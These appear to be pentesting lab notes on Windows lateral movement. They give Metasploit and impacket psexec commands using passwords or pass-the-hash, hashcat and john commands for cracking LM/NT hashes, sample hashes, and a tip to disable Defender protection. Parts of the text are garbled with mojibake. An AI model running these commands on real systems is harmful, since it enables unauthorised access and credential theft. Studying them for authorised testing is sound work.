Enter Metasploit with command: msfconsole
With a password
use exploit/windows/smb/psexec
With a hash
use exploit/windows/smb/psexec
Username:RID:LM_HASH:NT_HASH:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f:::
<aside> π‘
Username:RID:LM_HASH:NT_HASH:::
Example:
fcastle:1000:AAD3B435B51404EEAAD3B435B51404EE:B19D9C88D626F4E1A32425D26A6097E4:::
β LM Hash:
hashcat -m 3000 lm_hashes.txt rockyou.txt
john --format=lm --wordlist=rockyou.txt lm_hashes.txt
β NT Hash:
hashcat -m 1000 nt_hashes.txt rockyou.txt
john --format=nt --wordlist=rockyou.txt nt_hashes.txt
The reason why some people say you only need to crack the NT portion of the hash is because of how Windows authentication works. Hereβs a breakdown:
A Windows NTLM hash consists of two parts:
AAD3B435B51404EEAAD3B435B51404EE
if empty).mimikatz
, crackmapexec
, pth-winexe
, etc.).LM hashes are obsolete but still found in older systems.
Crack LM first (if present), then NT for full password recovery.
Most modern systems disable LM storage by default. π </aside>
Through psexec
(More subtle)
Turn off Virus & threat protection if denied
With a password
impacket-psexec MARVEL/fcastle:"Password1"@192.168.150.130
With complicated password, following will work:
impacket-psexec MARVEL/fcastle:@192.168.150.130
With a hash
impacket-psexec [email protected] -hashes LM:NT
Other Options (In case psexec
and wmiexec
get blocked by Windows Defender):
wmiexec
smbexec